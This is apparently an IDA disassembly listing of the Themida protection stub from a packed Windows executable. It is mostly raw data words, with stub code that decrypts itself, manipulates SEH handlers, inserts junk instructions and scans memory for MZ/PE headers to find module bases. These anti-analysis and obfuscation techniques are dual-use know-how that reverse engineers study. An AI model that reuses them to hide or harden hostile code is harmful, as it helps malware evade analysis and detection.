		dd 0A0000000h, 0FFED00h, 5 dup(0)
		dd 19000000h, 0A45A139Dh, 0CE0012FFh, 10FFFFBDh, 0FFFF01h
		dd 0
		dd 78000000h, 0B791h, 95000000h, 0EBDF1FA0h, 0C8B7F385h
		dd 12FEh, 2 dup(0)
		dd 20000000h, 0FF00000Fh, 5B00007Fh, 76F36Ch, 6	dup(0)
		dd 80026F00h, 2	dup(0)
		dd 0DE000000h, 5ED7h, 7F000000h, 5BD7h,	5 dup(0)
		dd 43000000h, 0A0000056h, 5B30h, 68000000h, 0E1000179h
		dd 7FFFFAh, 0
		dd 51000000h, 7E0CE5h, 5 dup(0)
		dd 0DF000000h, 5CAEh, 4	dup(0)
		dd 0B0000000h, 7C802Ch,	0FF000000h, 0FFFFFFh, 7	dup(0)
		dd 38000000h, 1FFED01h,	0F000000h, 48B4A3h, 8 dup(0)
		dd 0FD000000h, 58A5h, 3	dup(0)
		dd 75000000h, 0FFFFAEh,	0
		dd 7C000000h, 4	dup(0)
		dd 27000h, 0AD000000h, 0EC00B4FCh, 37h,	3 dup(0)
		dd 3000000h, 0B2FAh, 0EB000000h, 10h, 4	dup(0)
		dd 98000000h, 4DD043h, 5 dup(0)
		dd 0FE000000h, 0FFFFFFh, 5 dup(0)
		dd 0F0000000h, 0E87DE4FFh, 168095h, 3 dup(0)
		dd 17000000h, 0B294h, 0FF000000h, 3, 2 dup(0)
		dd 9F000000h, 5879h, 0
		dd 0DF000000h, 0A9C530h, 0
		dd 0BA000000h, 0FF4BFFh, 5 dup(0)
		dd 0E000000h, 0F500BB0Bh, 0A88FC16Dh, 0BBh, 2 dup(0)
		dd 0DB000000h, 330E0C6Dh, 2 dup(33333333h), 0ED333333h
		dd 0FFFFF6h, 0
		dd 9F000000h, 5879h, 3 dup(0)
		dd 0E000000h, 0BB0Bh, 5E000000h, 5DFBh,	3 dup(0)
		dd 0D7000000h, 5FFFFC7h, 0A2801h, 2 dup(0)
		dd 0C9000000h, 5D32h, 0A4026F00h, 5C3Bh, 2 dup(0)
		dd 51000000h, 0FFFFE5h,	3 dup(0)
		dd 0FF000000h, 94FFFFEFh, 12h dup(0)
		dd 0B8000000h, 5C50h, 7	dup(0)
		dd 43000000h, 56h, 3 dup(0)
		dd 29600h, 94000000h, 7C90EBh, 6 dup(0)
		dd 24000000h, 7C801Ah, 2 dup(0)
		dd 0E9000000h, 0EB000400h, 7C80EEh, 7 dup(0)
		dd 0E4000000h, 5BD4h, 3	dup(0)
		dd 0BF000000h, 5CE7h, 73000000h, 0FFFFF9h, 0E7000000h
		dd 5CB8h, 6 dup(0)
		dd 2000000h, 8,	0
		dd 0A2000000h, 20h, 12h	dup(0)
		dd 63000000h, 240A2A07h, 0B20Eh, 1000000h, 7 dup(0)
		dd 24000000h, 0B48036h,	0FC000000h, 0ABF9h, 6C000000h
		dd 836F14h, 2 dup(0)
		dd 0A5000000h, 0BAh, 2 dup(0)
		dd 9C000000h, 7	dup(0)
		dd 0B1000000h, 89005DF2h, 0F200385Eh, 92D716h, 13h dup(0)
		dd 42000000h, 0BC7C90FBh, 6151h, 3 dup(0)
		dd 32000000h, 0F2A539h,	5 dup(0)
		dd 0B6000000h, 5C3Bh, 3	dup(0)
		dd 0FE000000h, 0FFFFF7h, 2 dup(0)
		dd 94000000h, 3Dh, 9F000000h, 5879h, 3 dup(0)
		dd 2000000h, 8,	2 dup(0)
		dd 0FEE900h, 2 dup(0)
		dd 0EB000000h, 10h, 5 dup(0)
		dd 0E9000000h, 805D5Ah,	0
		dd 57000000h, 0BAFF56FFh, 0FF4BFFh, 0
		dd 4F0h, 2 dup(0)
		dd 0A4000000h, 0Bh dup(0)
		dd 0E5000000h, 77DDEDh,	7 dup(0)
		dd 0B8000000h, 51000000h, 87E0CE5h, 7, 9 dup(0)
		dd 68000000h, 820h, 0F000000h, 0CD00B218h, 175630h, 2 dup(0)
		dd 1F000000h, 5CA4h, 7C8000h, 6	dup(0)
		dd 5D000000h, 82BCFCh, 6 dup(0)
		dd 4000000h, 7772E2h, 0
		dd 7D000000h, 9B9F24h, 9 dup(0)
		dd 0B6000000h, 937C80FAh, 0B324h, 38000000h, 0FFED01h
		dd 0
		dd 1120h, 0AD000000h, 7E41A8h, 1Fh dup(0)
		dd 0B7000000h, 588Dh, 8000000h,	1800B2B5h, 107C90EEh, 24005C59h
		dd 6141h, 0Ah dup(0)
		dd 34000000h, 586Ah, 0Eh dup(0)
		dd 59000000h, 5D57h, 0
		dd 0EB000000h, 10h, 0B0000000h,	224FFh,	0Ah dup(0)
		dd 0DD000000h, 19788C22h, 0B4ACB6h, 3 dup(0)
		dd 0DE000000h, 7C80ABh,	0
		dd 94000000h, 7C90EBh, 9 dup(0)
		dd 51000000h, 7E0CE5h, 2 dup(0)
		dd 1000000h, 7 dup(0)
		dd 8D000000h, 5BA4h, 5 dup(0)
		dd 3D000000h, 1CE231h, 2 dup(0)
		dd 0CE000000h, 0FFFFBDh, 2 dup(0)
		dd 0AC000000h, 0
		dd 94000000h, 2A7C90EBh, 5D43h,	0
		dd 54000000h, 12FFh, 0
		dd 94000000h, 3Dh, 4 dup(0)
		dd 1000000h, 2 dup(0)
		dd 0AF000000h, 11FF4D71h, 0D476D753h, 25E6Dh, 8	dup(0)
		dd 0EE000000h, 0DC7C8099h, 0FFFF9Fh, 2 dup(0)
		dd 0A8000000h, 3 dup(0)
		dd 0D1000000h, 7, 6 dup(0)
		dd 33000000h, 586Ah, 5 dup(0)
		dd 0E000000h, 0BB0Bh, 3	dup(0)
; ---------------------------------------------------------------------------
		cld
		retf
; ---------------------------------------------------------------------------
		dw 70h
		dd 3 dup(0)
		dd 5B000000h, 0FFFF45h,	3 dup(0)
		dd 0E000000h, 0BB0Bh, 0CE000000h, 0FFFFBDh, 0
		dd 0A0000000h, 29000000h, 613Ch, 2 dup(0)
		dd 2F000000h, 5E31h, 4 dup(0)
		dd 0B0000000h, 0FFFFFFh, 5 dup(0)
		dd 6B000000h, 2ABAFFh, 3 dup(0)
		dd 39000000h, 165FBBh, 42000000h, 0FF7C90FBh, 0FFh, 0
		dd 24000000h, 0B48036h,	0
		dd 0E1000000h, 0FAh, 3 dup(0)
		dd 76000000h, 6079h, 0
		dd 4D000000h, 5F22h, 9 dup(0)
		dd 0F000000h, 1704A7h, 0
		dd 0C4000000h, 0F2C09884h, 0A17C906Bh, 0B2AAh, 6 dup(0)
		dd 2260h, 3 dup(0)
		dd 18000000h, 0FFFF8Ch,	2 dup(0)
		dd 9F000000h, 26396926h, 0EB837EEEh, 2C093Fh, 0
		dd 42000000h, 7C90FBh, 51000000h, 0B28Eh, 5A000000h, 77DDEEh
		dd 58000000h, 0CF7C863Fh, 5F97h, 3 dup(0)
		dd 30000000h, 0C48DCh, 5 dup(0)
		dd 0FF000000h, 7CF1D2h,	2 dup(0)
		dd 2000000h, 29h dup(0)
		dd 25000000h, 2302Dh, 35000000h, 0FE3178h, 94000000h, 7C90EBh
		dd 28000000h, 13005C0Dh, 3C00B802h, 0B21Ah, 7 dup(0)
		dd 60000000h, 7C809Eh, 9 dup(0)
		dd 9E000000h, 53602Ah, 0DF000000h, 5CAEh, 2 dup(0)
		dd 0B6000000h, 0C47C80FAh, 240012FFh, 6141h, 5 dup(0)
		dd 3C000000h, 0B21Ah, 8	dup(0)
		dd 5DB1h, 29h dup(0)
		dd 0C4000000h, 0
		dd 90000000h, 2	dup(0)
		dd 20000000h, 0DD81D3h,	9D000000h, 5E21h, 2 dup(0)
		dd 7000000h, 94BFE0B8h,	377C90EBh, 9F77DDEEh, 0B2FAh, 4	dup(0)
		dd 25000000h, 0B20Ah, 0D8000000h, 1B4A8Ah, 2 dup(0)
		dd 0DC000000h, 0FF9EBEh, 3 dup(0)
		dd 0E8000000h, 0BFC911h, 2 dup(0)
		dd 97000000h, 2F644h, 0
		dd 40000000h, 364270DEh, 0F0005DEBh, 25E6Eh, 8 dup(0)
		dd 69000000h, 4EA0F9h, 44000000h, 5DEAh, 2 dup(0)
		dd 0E000000h, 0BB0Bh, 4	dup(0)
		dd 0B8000000h, 5C50h, 0
		dd 0FD000000h, 0DECCFFh, 7 dup(0)
		dd 0AB000000h, 2600129Bh, 5FDAh, 7 dup(0)
		dd 29000000h, 613Ch, 4 dup(0)
		dd 0AF000000h, 1B0049CEh, 5CC20Fh, 0C5000000h, 5C82h, 3	dup(0)
		dd 6A000000h, 44006016h, 955142h, 1000000h, 2 dup(0)
		dd 39000000h, 5D71h, 78000000h,	0B528h,	0BF000000h, 5CE7h
		dd 0
		dd 10000000h, 0E976F215h, 55h, 0E6000000h, 1Eh,	29000000h
		dd 1C000000h, 940097F9h, 407C90EBh, 0B21Ah, 54000000h
		dd 696D6568h, 6164h, 1Bh dup(0)
		dd 0EE000000h, 5F90h, 0
		dd 14000000h, 582C4Eh, 2 dup(0)
		dd 0FF000000h, 5876h, 3	dup(0)
		dd 8B000000h, 600Ch, 0D0000000h, 4001h,	3 dup(0)
		dd 0B65C00h, 0
		dd 0BB000000h, 57FFA4h,	9000000h, 7C812Ah, 0
		dd 0F000000h, 5E00B218h, 47FFFF97h, 7C809Bh, 0
		dd 94000000h, 0FFFFEBh,	0
		dd 0B200h, 53000000h, 595A8949h, 5D57h,	5 dup(0)
		dd 5D025500h, 0FFE67Fh,	2 dup(0)
		dd 94000000h, 0FFFFEBh,	0
		dd 1C000000h, 26h, 0EA000000h, 77005D1Ch, 73005F78h, 76E48F03h
		dd 0B8006079h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_588DC3
		retn	18h
; ---------------------------------------------------------------------------


loc_588DC3:				; CODE XREF: Themida_:00588DBEj
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B2FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 12h dup(0)
		dd 74000000h, 0FFFF95h,	4 dup(0)
		dd 46000000h, 5EA0h, 10h dup(0)
		dd 0A9026E00h, 5DE0h, 0
		dd 4A000000h, 25E6Dh, 3	dup(0)
		dd 86000000h, 61FDB7h, 0E9FC00h, 4 dup(0)
		dd 74000000h, 94865559h, 7C90EBh, 0
		dd 0C0000000h, 44000000h, 350000DAh, 1718DFh, 5	dup(0)
		dd 0F3000000h, 1CEAFh, 7 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 24000000h, 1Ah, 0E8000000h, 0A09CBC6h, 0FFFFFDh, 5 dup(0)
		dd 19000000h, 6	dup(0)
		dd 4000000h, 5CF5h, 3 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0Ch dup(0)
		dd 0A4005130h, 5C3Bh, 0
		dd 57000000h, 5BD7h, 9 dup(0)
		dd 0F6000000h, 7C801Bh,	0
		dd 85000000h, 59005EB7h, 7E9CEFh, 0F0000000h, 77DD6Bh
		dd 0AF000000h, 407E8Dh,	0DC000000h, 9 dup(0)
		dd 40000000h, 68h, 1000000h, 2 dup(0)
		dd 0A1000000h, 0B2AEh, 3 dup(0)
		dd 0E000000h, 7C8018h, 4 dup(0)
		dd 0C6000000h, 68CB3Eh,	0
		dd 22000000h, 22222222h, 222222h, 0
		dd 0B9000000h, 5E09h, 0Ch dup(0)
		dd 0F2000000h, 0B6E2D2h, 0
		dd 0FF000000h, 0B0FFFFFFh, 174FFh, 78000000h, 4500B791h
		dd 5B99h, 0F000000h, 5D13h, 0Fh	dup(0)
		dd 0F000000h, 48B4A3h, 0F9000000h, 947C90DDh, 7C90EBh
		dd 0A7000000h, 5BD7h, 3	dup(0)
		dd 0E000000h, 87025E6Eh, 0C400A9D2h, 0C09884h, 6 dup(0)
		dd 71000000h, 7C90FBh, 2 dup(0)
		dd 18000000h, 0F0E97F6Ah, 12FFh, 6 dup(0)
		dd 94000000h, 3Dh, 8 dup(0)
		dd 20000000h, 0AB7C8047h, 0FFFF9Bh, 9 dup(0)
		dd 0E000000h, 5100BB0Bh, 7E0CE5h, 2 dup(0)
		dd 94000000h, 0EBh, 0A800h, 5 dup(0)
		dd 24000000h, 6141h, 2 dup(0)
		dd 3000000h, 0B2FAh, 3 dup(0)
		dd 46000000h, 5EA0h, 0Ch dup(0)
		dd 3B000000h, 612Bh, 3 dup(0)
		dd 38000000h, 0FFED01h,	0Ch dup(0)
		dd 1C000000h, 26h, 54000000h, 12FFh, 8 dup(0)
		dd 64000000h, 0C4E2Ah, 4 dup(0)
		dd 8477DD00h, 0FFFA62h,	0
		dd 4010h, 8 dup(0)
		dd 0D8000000h, 7C97C0h,	4 dup(0)
		dd 64000000h, 5Ah, 2 dup(0)
		dd 0BF000000h, 13FBEEh,	30000000h, 5C00h, 94004000h, 2B7C90EBh
		dd 0F8ABBEh, 2 dup(0)
		dd 0D1000000h, 5B845Bh,	2 dup(0)
		dd 0B0000000h, 690144FFh, 0B81Eh, 5 dup(0)
		dd 54000000h, 0AD0012FFh, 0C800B4FCh, 0
		dd 82000000h, 2D822Ah, 6000000h, 0B0CE20h, 9F000000h, 5879h
		dd 3 dup(0)
		dd 45000000h, 5B99h, 94000000h,	7C90EBh, 7 dup(0)
		dd 0E000000h, 0BB0Bh, 0
		dd 81000000h, 367C808Eh, 363636h, 5 dup(0)
		dd 1000000h, 6 dup(0)
		dd 94000000h, 0EBh, 7000000h, 0BFE0B8h,	3 dup(0)
		dd 4000000h, 1,	9 dup(0)
		dd 70000000h, 3, 32000000h, 0B58Bh, 0A5000000h,	97D8Eh
		dd 8 dup(0)
		dd 20000000h, 0B28Dh, 0D000000h, 0ECCE1Ch, 3 dup(0)
		dd 0E9000000h, 4C000400h, 0A0228C74h, 0EE000000h, 6FFA2DCh
		dd 0FC1BE876h, 0BA3Fh, 7 dup(0)
		dd 66000000h, 72h, 18000000h, 7C90EEh, 0Bh dup(0)
		dd 1000000h, 4 dup(0)
		dd 0F000000h, 0B83Fh, 6000000h,	0BB0Bh,	6 dup(0)
		dd 82B50Dh, 28h	dup(0)
		dd 2000000h, 44000008h,	52C246DAh, 61747365h, 70417472h
		dd 78652E70h, 51000065h, 0B07E0CE5h, 11000000h,	3F89B0h
		dd 0
		dd 0E000000h, 0FC00BB0Bh, 9F0DFFh, 24000000h, 6141h, 0DA000000h
		dd 7C81CDh, 4 dup(0)
		dd 0AB000000h, 698937h,	0
		dd 73000000h, 5C60h, 0DA000000h, 7C7C8111h, 12FEh, 5 dup(0)
		dd 3F000000h, 0CB0058A1h, 5D31h, 5 dup(0)
		dd 7E4100h, 0
		dd 44000000h, 9400B21Ah, 7C90EBh, 2 dup(0)
		dd 70000000h, 2	dup(0)
		dd 1000000h, 7C8000h, 3	dup(0)
		dd 20h,	0
		dd 2000000h, 4 dup(0)
		dd 0F000000h, 0B218h, 2	dup(0)
		dd 9F000000h, 5900B2FAh, 7DE659h, 0
		dd 2000000h, 3 dup(0)
		dd 0FF000000h, 1FFFFFFh, 0E000000h, 7C8018h, 2 dup(0)
		dd 44000000h, 0B21Ah, 0D000000h, 0B58Bh, 0
		dd 6000000h, 0FFA3C4h, 0
		dd 0CA000000h, 611Eh, 8	dup(0)
		dd 2000000h, 8,	0
		dd 34000000h, 5CBEh, 6 dup(0)
		dd 0D6000000h, 81138Bh,	2 dup(0)
		dd 20000000h, 0
		dd 47000000h, 12FFFF83h, 0FF866B20h, 0FFFFFFh, 0DD000000h
		dd 474D03h, 94000000h, 7C90EBh,	3 dup(0)
		dd 6D000000h, 0E40000A1h, 0B28Eh, 5 dup(0)
		dd 3000000h, 0B2FAh, 0EB000000h, 10h, 4	dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 0EB000000h, 10h, 0
		dd 77000000h, 0CD7C801Dh, 0F7000035h, 9F00B51Ch, 94005879h
		dd 287C90EBh, 0B28Bh, 0
		dd 0B0000000h, 144FFh, 0
		dd 1, 3	dup(0)
		dd 0FE000000h, 0AB005BD4h, 0B594CB04h, 242CE1h,	5 dup(0)
		dd 6D000000h, 7C9105h, 0CC000000h, 474D9Ch, 0
		dd 2C0h, 4 dup(0)
		dd 0CF000000h, 0E00B2A8h, 9200BB0Bh, 0FFFFFFh, 14000000h
		dd 1150h, 69000000h, 4EA0F9h, 94000000h, 947C90EBh, 7C90EBh
		dd 3 dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 0E5000000h, 0B831h, 0
		dd 51000000h, 407E0CE5h, 4270DEh, 0
		dd 18000000h, 7C90EEh, 0
		dd 0FB000000h, 598841h,	5 dup(0)
		dd 0F2000000h, 7C814Ah,	68000000h, 7B6B6Ch, 0A9000000h
		dd 982633h, 3 dup(0)
		dd 42000000h, 7C90FBh, 2 dup(0)
		dd 8C000000h, 5E31h, 6 dup(0)
		dd 54000000h, 12FFh, 3 dup(0)
		dd 80000000h, 2, 4 dup(0)
		dd 54000000h, 12FFh, 8 dup(0)
		dd 94000000h, 830000EBh, 77DD78h, 3 dup(0)
		dd 0B7000000h, 5D10h, 4	dup(0)
		dd 0F2000000h, 5D51h
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_589ADB:				; CODE XREF: start:loc_58663Ej
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7D134A7h
		mov	[ebp+7D1234Dh],	edx
		mov	[ebp+7D13221h],	esi
		mov	[ebp+7D12B71h],	eax
		cmp	dword ptr [ebp+7D122EDh], 0
		jz	short loc_589B13
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_589B13:				; CODE XREF: start+74AF1j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+7D13231h],	eax
		push	45h
		call	sub_589BC7
		push	783749Ah
		call	sub_589C0D
		push	0A894B25h
		call	sub_589C0D
		jmp	loc_589D51
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_589BC7	proc near		; CODE XREF: start+74B0Bp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 7D13595h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_589BE3:				; CODE XREF: sub_589BC7+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_589C02
		mov	eax, [ebp+arg_0]
		mov	[ebx+7D134FFh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_589BE3
; ---------------------------------------------------------------------------


loc_589C02:				; CODE XREF: sub_589BC7+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_589BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_589C0D	proc near		; CODE XREF: start+74B15p start+74B1Fp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 7D135DEh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_589C33:				; CODE XREF: sub_589C0D+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_589C33
		mov	[ebp+var_84], 0
		lea	edi, [edx+7D134FFh]
		lea	esi, [ebp+var_80]


loc_589C63:				; CODE XREF: sub_589C0D+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_589C6F:				; CODE XREF: sub_589C0D+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_589C6F
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_589C63
		popa
		leave
		retn	4
sub_589C0D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_589CAD
; ---------------------------------------------------------------------------


loc_589CA9:				; CODE XREF: Themida_:00589CB0j
		inc	dword ptr [ebp-4]
		inc	esi


loc_589CAD:				; CODE XREF: Themida_:00589CA7j
		cmp	byte ptr [esi],	0
		jnz	short loc_589CA9
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_589D3E
; ---------------------------------------------------------------------------


loc_589CBF:				; CODE XREF: Themida_:00589D41j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_589D35
; ---------------------------------------------------------------------------


loc_589CC8:				; CODE XREF: Themida_:00589D39j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_589D22
; ---------------------------------------------------------------------------


loc_589CD8:				; CODE XREF: Themida_:00589D26j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_589CFA
		cmp	bl, 39h
		ja	short loc_589CFA
		sub	bl, 30h
		jmp	short loc_589D1C
; ---------------------------------------------------------------------------


loc_589CFA:				; CODE XREF: Themida_:00589CEEj
					; Themida_:00589CF3j
		cmp	bl, 61h
		jb	short loc_589D0C
		cmp	bl, 66h
		ja	short loc_589D0C
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_589D1C
; ---------------------------------------------------------------------------


loc_589D0C:				; CODE XREF: Themida_:00589CFDj
					; Themida_:00589D02j
		cmp	bl, 41h
		jb	short loc_589D1C
		cmp	bl, 46h
		ja	short loc_589D1C
		sub	bl, 41h
		add	bl, 0Ah


loc_589D1C:				; CODE XREF: Themida_:00589CF8j
					; Themida_:00589D0Aj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_589D22:				; CODE XREF: Themida_:00589CD6j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_589CD8
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_589D32
		mov	eax, [ebp-10h]
		stosb


loc_589D32:				; CODE XREF: Themida_:00589D2Cj
		inc	dword ptr [ebp-8]


loc_589D35:				; CODE XREF: Themida_:00589CC6j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_589CC8
		add	edx, 4


loc_589D3E:				; CODE XREF: Themida_:00589CBDj
		cmp	edx, [ebp-4]
		jb	loc_589CBF
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_589D51:				; CODE XREF: start+74B24j
		mov	ecx, 7000h
		lea	edi, [ebp+7D13724h]


loc_589D5C:				; CODE XREF: start+74D4Cj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_589D5C
		mov	eax, 48692121h
		mov	edx, 0F0115000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+7D1382Fh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	ebp
		call	sub_589D98
		and	[ebp-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_589D98	proc near		; CODE XREF: start+74D7Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_589D98	endp

; ---------------------------------------------------------------------------
		sahf
		fisubr	dword ptr [edi+ebx*8-18h]
		mov	ds:77CA353Ch, al
		mov	bl, 0C4h
		pusha
		or	si, 39C0h
		movsx	esi, dx
		popa
		and	bx, 0A1F5h
		sub	eax, edx
		push	edx
		jmp	loc_589DD7
; ---------------------------------------------------------------------------
		db 7
		dd 9AD8CD11h, 93273E4Fh
		db 0B8h, 24h, 0C0h
; ---------------------------------------------------------------------------


loc_589DD7:				; CODE XREF: Themida_:00589DC6j
		pop	ebx
		and	eax, 0FFFFF000h
		mov	bx, di
		mov	ecx, edx
		xor	edi, edi


loc_589DE4:				; CODE XREF: Themida_:00589DFFj
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_589DF9
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_589E01


loc_589DF9:				; CODE XREF: Themida_:00589DE9j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_589DE4
; ---------------------------------------------------------------------------


loc_589E01:				; CODE XREF: Themida_:00589DF7j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+7D13842h]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_589E3B
		mov	esi, [eax+1Ch]


loc_589E3B:				; CODE XREF: Themida_:00589E36j
		xor	eax, eax


loc_589E3D:				; CODE XREF: Themida_:00589E50j
		cmp	eax, 32h
		jz	short loc_589E61
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_589E52


loc_589E49:				; CODE XREF: Themida_:00589E5Fj
		sub	esi, 10000h
		inc	eax
		jmp	short loc_589E3D
; ---------------------------------------------------------------------------


loc_589E52:				; CODE XREF: Themida_:00589E47j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_589EA3
		jmp	short loc_589E49
; ---------------------------------------------------------------------------


loc_589E61:				; CODE XREF: Themida_:00589E40j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D1384Dh
		lea	eax, [ebp+7D1380Bh]
		mov	[ecx+0B8h], eax
		pop	ebp
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_589EA3:				; CODE XREF: Themida_:00589E5Dj
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	bx, 0C8A8h
		mov	bx, si
		mov	cx, ds
		add	ebx, 15E88599h
		and	cl, 4
		mov	ebx, 6F130200h
		or	cl, cl
		jnz	loc_589F12
		push	0
		push	edx
		call	sub_589ED9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589ED9	proc near		; CODE XREF: Themida_:00589ED1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_589ED9	endp

; ---------------------------------------------------------------------------
		db 8Fh,	0F4h, 69h
		dd 6E4DAE1Eh, 600E9EABh, 66CA8B66h, 0C761F08Bh,	0D1171585h
		dd 107h, 0E3816600h, 17E9090Bh,	80000000h
		db 0DBh, 46h
; ---------------------------------------------------------------------------


loc_589F12:				; CODE XREF: Themida_:00589EC8j
		mov	dword ptr [ebp+7D11715h], 0
		jl	loc_589F26
		mov	bx, 0A30Dh


loc_589F26:				; CODE XREF: Themida_:00589F1Cj
		mov	[ebp+7D11CC9h],	eax
		push	0
		push	edx
		call	sub_589F37
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589F37	proc near		; CODE XREF: Themida_:00589F2Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_589F37	endp

; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		cmp	byte ptr [edi-499A1806h], 8Ah
		std
		mov	bl, al
		movsx	ebx, si
		mov	[ebp+7D10831h],	eax
		call	sub_589F6C
		pop	eax
		jnz	short loc_589FCA
		mov	ecx, 0E28155Eh
		cmc
		mov	gs, [esi+66h]

; =============== S U B	R O U T	I N E =======================================



sub_589F6C	proc near		; CODE XREF: Themida_:00589F5Bp
		sbb	si, 3BFh
		pop	ebx
		pusha
		mov	di, 71B3h
		jmp	loc_589F8E
; ---------------------------------------------------------------------------
		dd 570F314Ah, 0AEFCF3F8h, 78850523h, 814748FFh
		db 0C1h, 63h
; ---------------------------------------------------------------------------


loc_589F8E:				; CODE XREF: sub_589F6C+Bj
		popa
		add	ebx, 6EF6h
		mov	si, dx
		xor	ecx, ecx
